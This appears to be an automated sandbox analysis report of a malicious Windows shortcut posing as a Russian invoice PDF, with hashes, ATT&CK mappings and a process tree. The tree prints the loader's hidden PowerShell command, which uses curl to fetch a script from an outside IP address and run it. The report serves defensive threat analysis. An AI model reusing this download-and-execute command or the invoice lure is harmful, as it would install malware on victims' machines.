4fd889f5ac9c02f5e66c36b909bf05261495c01cc8384c548388fff62241eb07

Analysis

max time kernel
298s
max time network
292s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 16:59

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General

Target
Счет на оплату № 1631 от 03.08.2026.pdf.lnk
Size 1KB
Sample260804-vhtdcas1az
SHA256 4fd889f5ac9c02f5e66c36b909bf05261495c01cc8384c548388fff62241eb07
MD5 e2c5f6224b308515b08e51a83a97521d
SHA1 928fbb986b16231b8bc0956898cd682cdfbc7ee8
SHA512 0bf1eb2b63c2fd1b33722d41023f147d0e94f1d733ebe599187f6cd5d7b2cc394e63c01e8ad24a891958fad123fac2d7ec7a04b88d8ad94c2e325b6e7a34055f
TLSH
T1733111363BF15319F93B4A7A0C7262509B33F228DD584B4E4258918C5930514F838B6F
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4636	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4680	powershell.exe
4680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 4680	4636	cmd.exe	86
PID 4680 wrote to memory of 2444	4680	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Счет на оплату № 1631 от 03.08.2026.pdf.lnk"
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c start curl -args '193.124.9.153/down','-o','c:\programdata\r.cmd';sleep 6;c:\programdata\r.cmd
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" 193.124.9.153/down -o c:\programdata\r.cmd
    3⤵
    PID:2444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_1es0ef1u.4d4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1es0ef1u.4d4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH